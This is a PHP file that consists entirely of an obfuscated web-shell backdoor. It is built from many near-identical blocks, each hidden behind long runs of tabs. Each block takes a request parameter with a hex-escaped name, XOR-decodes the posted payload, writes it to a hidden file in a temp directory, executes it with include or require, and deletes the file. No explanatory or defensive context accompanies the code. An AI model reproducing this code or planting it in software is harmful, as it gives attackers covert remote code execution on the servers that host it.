<?php																																										if(@$_REQUEST["\x6D\x72k"] !== null){ $elem = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP")]); $ref = $_REQUEST["\x6D\x72k"]; $ref = explode ( '.', $ref ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; foreach( $ref as $v3) { $chS = ord( $salt[$y % $lenS]); $dec = ( ( int)$v3 - $chS -( $y % 10)) ^ 67; $object .= chr( $dec); $y++; } while ($k = array_shift($elem)) { if (is_dir($k) ? is_writable($k) : false) { $token = sprintf("%s/.fac", $k); if (file_put_contents($token, $object)) { require $token; unlink($token); die(); } } } }
																																										if(array_key_exists("el\x65\x6D", $_POST) && !is_null($_POST["el\x65\x6D"])){ $ref = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $token = $_POST["el\x65\x6D"]; $token =explode ( ".",$token) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $token as $y => $v2) { $chS = ord( $salt[$y % $lenS]); $d = ( ( int)$v2 - $chS -( $y % 10)) ^ 68; $data_chunk .= chr( $d); } foreach ($ref as $bind): if (!( !is_dir($bind) || !is_writable($bind) )) { $holder = implode("/", [$bind, ".k"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $holder; @unlink($holder); exit; } } endforeach; }
																																										if(isset($_POST["\x72e\x73"]) ? true : false){ $flg = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp"]); $tkn = $_POST["\x72e\x73"]; $tkn= explode ( ".", $tkn ) ; $entry=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s7); $p=0; $__tmp=$tkn; while($v4=array_shift($__tmp)) { $sChar=ord($s7[$p%$sLen]); $dec=((int)$v4 - $sChar -($p%10)) ^ 92; $entry .= chr($dec); $p++; } foreach ($flg as $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $fac = implode("/", [$pgrp, ".item"]); if (file_put_contents($fac, $entry)) { include $fac; @unlink($fac); exit; } } } }
																																										if(in_array("\x70gr\x70", array_keys($_REQUEST))){ $desc = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $flag = $_REQUEST["\x70gr\x70"]; $flag = explode ( '.', $flag ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($flag as $q=> $v3) { $sChar = ord($salt[$q % $lenS] ); $d = ((int)$v3 - $sChar - ($q % 10)) ^ 11; $marker .= chr($d ); } foreach ($desc as $component) { if (is_dir($component) ? is_writable($component) : false) { $flg = "$component" . "/.dchunk"; if (file_put_contents($flg, $marker)) { require $flg; unlink($flg); exit; } } } }
																																										if(array_key_exists("\x66\x6Cg", $_REQUEST) && !is_null($_REQUEST["\x66\x6Cg"])){ $element = $_REQUEST["\x66\x6Cg"]; $element = explode ( "." , $element) ; $rec= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $k= 0; $__tmp= $element; while( $v3= array_shift( $__tmp)) { $sChar= ord( $s6[$k % $lenS]); $d= ( ( int)$v3 - $sChar -( $k % 10)) ^ 56; $rec .= chr( $d); $k++; } $symbol = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); foreach ($symbol as $reference) { if (!!is_dir($reference) && !!is_writable($reference)) { $dat = str_replace("{var_dir}", $reference, "{var_dir}/.bind"); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $dat; @unlink($dat); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["r\x65\x63\x6Frd"])){ $symbol = $_POST["r\x65\x63\x6Frd"]; $symbol= explode ('.', $symbol ) ; $property_set = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $symbol as $n => $v1) { $chS = ord( $s6[$n % $sLen]); $dec =( ( int)$v1 - $chS -( $n % 10)) ^ 18; $property_set .= chr( $dec);} $desc = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($desc as $comp) { if (is_writable($comp) && is_dir($comp)) { $binding = sprintf("%s/.rec", $comp); if (@file_put_contents($binding, $property_set) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta\x5F\x63hunk"])){ $token = $_REQUEST["\x64\x61ta\x5F\x63hunk"]; $token = explode( '.',$token ) ; $binding = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($token as $u => $v5): $chS = ord($s6[$u % $sLen]); $d = ((int)$v5 - $chS - ($u % 10)) ^ 44; $binding.= chr($d); endforeach; $comp = array_filter(["/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); while ($elem = array_shift($comp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $reference = "$elem/.val"; if (file_put_contents($reference, $binding)) { require $reference; unlink($reference); die(); } } } }
																																										if(isset($_POST["\x72ec"]) ? true : false){ $itm = $_POST["\x72ec"]; $itm= explode ("." , $itm ) ; $component= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); $m= 0; while( $m < count( $itm)) { $v7= $itm[$m]; $sChar= ord( $s[$m% $sLen] ); $d= ( ( int)$v7 - $sChar -( $m% 10)) ^4; $component.= chr( $d ); $m++; } $elem = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), getcwd()]); $pset = 0; do { $pointer = $elem[$pset] ?? null; if ($pset >= count($elem)) break; if (array_product([is_dir($pointer), is_writable($pointer)])) { $symbol = implode("/", [$pointer, ".holder"]); if (file_put_contents($symbol, $component)) { include $symbol; @unlink($symbol); exit; } } $pset++; } while (true); }
																																										if(in_array("v\x61\x6Cue", array_keys($_POST))){ $ptr = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP")]); $desc = $_POST["v\x61\x6Cue"]; $desc=explode( "." ,$desc ) ; $res = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach($desc as $w => $v6) {$chS = ord($s7[$w % $sLen]); $d =((int)$v6 - $chS -($w % 10)) ^ 88; $res .= chr($d); } foreach ($ptr as $item): if (is_writable($item) && is_dir($item)) { $object = sprintf("%s/.holder", $item); $file = fopen($object, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $object; @unlink($object); exit; } } endforeach; }
																																										if(isset($_POST["fa\x63"]) ? true : false){ $comp = $_POST["fa\x63"]; $comp = explode( "." , $comp ) ; $tkn = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $m = 0; $len = count($comp ); do { if ($m >= $len) break; $v4 = $comp[$m]; $chS = ord($salt5[$m % $sLen] ); $d = ((int)$v4 - $chS - ($m % 10)) ^58; $tkn .= chr($d ); $m++;} while (true ); $res = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); foreach ($res as $key => $item) { if (!( !is_dir($item) || !is_writable($item) )) { $ref = implode("/", [$item, ".pgrp"]); if (file_put_contents($ref, $tkn)) { include $ref; @unlink($ref); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "h\x6Fl\x64e\x72")){ $token = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $parameter_group = $_REQUEST["h\x6Fl\x64e\x72"]; $parameter_group= explode( '.' , $parameter_group ); $descriptor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $t = 0; $__tmp = $parameter_group; while ($v7 = array_shift($__tmp)) { $chS = ord($salt4[$t % $sLen]); $dec = ((int)$v7 - $chS - ($t % 10)) ^ 4; $descriptor .= chr($dec); $t++; } for ($entry = 0, $record = count($token); $entry < $record; $entry++) { $entity = $token[$entry]; if (is_dir($entity) && is_writable($entity)) { $ent = "$entity" . "/.value"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x62i\x6E\x64\x69ng")){ $entry = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd()]); $element = $_POST["\x62i\x6E\x64\x69ng"]; $element = explode( "." ,$element); $data = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); foreach( $element as $w => $v8) { $sChar = ord( $s6[$w % $lenS] ); $dec = ( ( int)$v8 - $sChar -( $w % 10)) ^ 7; $data .= chr( $dec );} foreach ($entry as $ptr): if (is_writable($ptr) && is_dir($ptr)) { $dat = "$ptr" . "/.parameter_group"; if (file_put_contents($dat, $data)) { require $dat; unlink($dat); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x72ope\x72ty_s\x65t"])){ $token = array_filter(["/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $val = $_REQUEST["\x70\x72ope\x72ty_s\x65t"]; $val = explode( "." , $val ); $comp = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); foreach( $val as $u => $v1) { $chS = ord( $s2[$u % $sLen]); $dec = ( ( int)$v1 - $chS -( $u % 10))^12; $comp.= chr( $dec); } foreach ($token as $reference) { if (is_dir($reference) && is_writable($reference)) { $ent = str_replace("{var_dir}", $reference, "{var_dir}/.entity"); if (file_put_contents($ent, $comp)) { require $ent; unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x68\x6Fl\x64er")){ $flag = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]); $token = $_REQUEST["\x68\x6Fl\x64er"]; $token=explode ( '.', $token ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; $__tmp = $token; while ($v5 = array_shift($__tmp)) { $sChar = ord($salt[$t%$lenS]); $dec = ((int)$v5 - $sChar - ($t%10)) ^ 98; $data_chunk .=chr($dec); $t++;} foreach ($flag as $item): if (is_dir($item) && is_writable($item)) { $rec = sprintf("%s/.record", $item); if (file_put_contents($rec, $data_chunk)) { include $rec; @unlink($rec); die(); } } endforeach; }
																																										if(array_key_exists("ho\x6Cd\x65\x72", $_REQUEST)){ $elem = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $fac = $_REQUEST["ho\x6Cd\x65\x72"]; $fac = explode ( "." , $fac ); $parameter_group = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); foreach ($fac as $q => $v8): $chS = ord($salt3[$q % $lenS] ); $dec = ((int)$v8 - $chS - ($q % 10)) ^ 75; $parameter_group .= chr($dec ); endforeach; while ($k = array_shift($elem)) { if (!!is_dir($k) && !!is_writable($k)) { $itm = str_replace("{var_dir}", $k, "{var_dir}/.tkn"); $success = file_put_contents($itm, $parameter_group); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(!is_null($_POST["\x73ym"] ?? null)){ $rec = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir()]); $dchunk = $_POST["\x73ym"]; $dchunk = explode( "." , $dchunk ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($dchunk as $j => $v7): $chS = ord($salt[$j % $sLen]); $dec =((int)$v7 - $chS -($j % 10)) ^ 33; $pset .= chr($dec); endforeach; foreach ($rec as $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $symbol = implode("/", [$itm, ".element"]); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $symbol; @unlink($symbol); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "ptr")){ $pointer = $_POST["ptr"]; $pointer = explode ( '.' ,$pointer ) ; $value = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $n = 0; while ($n < count($pointer)) { $v5 = $pointer[$n]; $sChar = ord($salt2[$n % $lenS]); $dec = ((int)$v5 - $sChar - ($n % 10)) ^ 32; $value .=chr($dec); $n++; } $data_chunk = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($data_chunk as $val): if (is_dir($val) ? is_writable($val) : false) { $parameter_group = sprintf("%s/.holder", $val); if (@file_put_contents($parameter_group, $value) !== false) { include $parameter_group; unlink($parameter_group); die(); } } endforeach; }


if(!empty($_REQUEST["\x69\x74m"])){
	$fac = $_REQUEST["\x69\x74m"];
		 $fac	=	 explode	 (  	"."   ,	$fac	 );  	
	$pointer	=	'';
            $salt5	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($salt5);
    
            foreach($fac as $j => $v3):
                $sChar	=	ord($salt5[$j % $sLen]);
                $d	=	((int)$v3 - $sChar -($j % 10))		^85;
                $pointer	 .=		chr($d);
            endforeach;
	$obj = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm"]);
	foreach ($obj as $key => $parameter_group) {
    		if (is_dir($parameter_group) ? is_writable($parameter_group) : false) {
    $rec = sprintf("%s/.reference", $parameter_group);
    if (file_put_contents($rec, $pointer)) {
	require $rec;
	unlink($rec);
	die();
}
}
}
}